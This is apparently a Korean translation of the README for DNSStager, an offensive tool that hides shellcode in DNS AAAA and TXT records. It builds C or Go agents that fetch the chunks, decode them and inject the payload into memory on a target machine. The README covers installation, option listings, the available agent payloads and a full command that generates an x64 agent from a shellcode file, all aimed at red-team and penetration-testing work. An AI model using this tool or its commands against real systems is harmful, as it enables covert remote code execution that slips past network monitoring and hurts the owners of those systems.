
DNS에 페이로드를 숨기세요
DNSStager는 DNS를 사용하여 페이로드를 숨기고 전송하는 데 사용되는 Python 기반의 오픈 소스 프로젝트입니다.
DNSStager는 악성 DNS 서버를 생성하여 도메인에 대한 DNS 요청을 처리하고, 페이로드를 청크로 분할하고 다양한 알고리즘을 사용하여 인코딩한 후 AAAA 또는 TXT 레코드와 같은 특정 레코드 요청에 대한 응답으로 페이로드를 반환합니다.
DNSStager는 C 또는 GoLang으로 작성된 사용자 지정 에이전트를 생성할 수 있으며, 이 에이전트는 일련의 도메인을 확인하고, 페이로드를 검색하고, 디코딩한 후 원하는 기술을 기반으로 메모리에 주입합니다.
DNSStager 에이전트의 코드를 원하는 대로 편집하고 자신만의 맞춤형 실행 기술을 사용하여 빌드할 수 있습니다.
DNSStager를 사용하는 주요 목표는 레드 팀/침투 테스터가 DNS를 사용하여 은밀한 채널로 페이로드를 전달할 수 있도록 돕는 것입니다.
DNS 확인 옵션에 따라 DNSStager는 페이로드를 청크로 분할하고 각 페이로드 청크를 서브도메인에 대한 응답으로 저장합니다.
예를 들어, 페이로드를 검색하기 위해 IPV6 옵션을 선택하면 DNS 응답은 다음과 같이 됩니다:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
여기서 5648:31d2:6548:8b52:6048:8b52:1848:8b52는 페이로드의 일부입니다.
따라서 에이전트는 일부 도메인을 확인하여 페이로드를 검색한 후 디코딩하고 최종적으로 메모리에 주입합니다.
현재 DNSStager는 AAAA 및 TXT 두 가지 레코드만 지원합니다. AAAA 레코드의 경우 XOR을 사용하여 페이로드를 인코딩할 수 있으며, TXT 레코드를 선택하면 기본적으로 base64로 인코딩됩니다.
DNSStager에는 다음과 같은 주요 기능이 있습니다:
IPV6 레코드에서 페이로드를 숨기고 확인합니다.TXT 레코드에서 페이로드를 숨기고 확인합니다.C로 작성된 순수 에이전트, 사용자 지정 가능.GoLang으로 작성된 순수 에이전트, 사용자 지정 가능.다음을 통해 DNSStager Python 요구 사항을 설치할 수 있습니다:
pip3 install -r requirements.txt
GoLang 버전 1.16.3을 설치하고 다음 GoLang 패키지를 설치해야 합니다:
또한 다음을 통해 ming-w64를 설치해야 합니다:
apt install mingw-w64
setup.sh 스크립트가 이를 처리해야 하지만, 사용하기 전에 요구 사항을 다시 확인하세요!
최신 버전의 DNSStager를 얻으려면 다음 명령을 사용하여 이 저장소에서 클론하세요:
git clone https://github.com/mhaskar/DNSStager
그런 다음 다음 명령을 사용하여 요구 사항을 설치해야 합니다:
pip3 install -r requirements.txt
그리고 앞서 언급한 모든 요구 사항도 설치해야 합니다.
모든 작업을 완료한 후 root로 DNSStager를 실행하여 다음을 확인할 준비가 되었습니다:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
DNSStager 사용을 시작하려면 먼저 DNS 설정을 구성해야 합니다. 도메인에 대한 모든 DNS 요청을 처리하려면 NS 레코드로 도메인이 DNSStager 인스턴스를 가리키도록 해야 합니다.
DNSStager 설정 및 사용 방법에 대한 전체 문서는 이 문서에서 확인할 수 있습니다.
그리고 다음과 같이 -h 스위치를 사용하여 옵션을 확인할 수 있습니다:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: DNS 요청을 처리하기 위해 사용할 기본 도메인을 선택하는 옵션입니다.
--prefix: 서브도메인 스키마에 사용할 접두사입니다.
예를 들어, 기본 도메인이 fakedns.live인 경우 접두사를 "cdn"으로 지정할 수 있습니다. 그러면 생성된 도메인은 다음과 같은 패턴이 됩니다:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.live여기서 N은 페이로드 청크 수를 나타내는 자동 생성 번호입니다.
--payload: 기술, 프로그래밍 언어 및 아키텍처를 기반으로 생성할 DNSStager 페이로드 "에이전트"입니다.
--output: DNSStager 실행 가능 페이로드 "에이전트"를 저장할 출력 경로입니다.
--shellcode_path: raw/bin 셸코드 경로입니다.
--xorkey: 페이로드를 인코딩할 XOR 키입니다.
--sleep: 각 DNS 요청 사이에 N초 동안 지연(sleep)하는 데 사용됩니다.
--tcp: TCP 프로토콜을 통해 DNS 서버를 시작하고 사용합니다.
사용 가능한 DNSStager 페이로드를 확인하려면 ./dnsstager.py --payloads를 사용하여 다음 결과를 얻을 수 있습니다:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
이 예제는 DNSStager를 시작하여 도메인 test.mydnsserver.live와 접두사 cloud-srv-를 사용하여 페이로드를 IPV6로 확인하고, 키로 0x10으로 인코딩된 컴파일된 x64 C 에이전트를 생성합니다:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
그러면 출력은 다음과 같습니다:

그리고 모든 것이 잘 작동하는지 확인하기 위해 DNS 쿼리를 cloud-srv-0.test.mydnsserver.live로 보내 다음을 확인합니다:

인코딩된 페이로드의 첫 16바이트인 f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b를 응답으로 받은 것을 확인할 수 있습니다.
그런 다음 대상 머신에서 에이전트 /tmp/a2.exe(명령줄에서 --output으로 설정된 대로)를 실행하면 필요한 모든 청크를 다운로드하고 디코딩한 후 메모리에 주입합니다.
이 프로젝트는 GPL-3.0 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.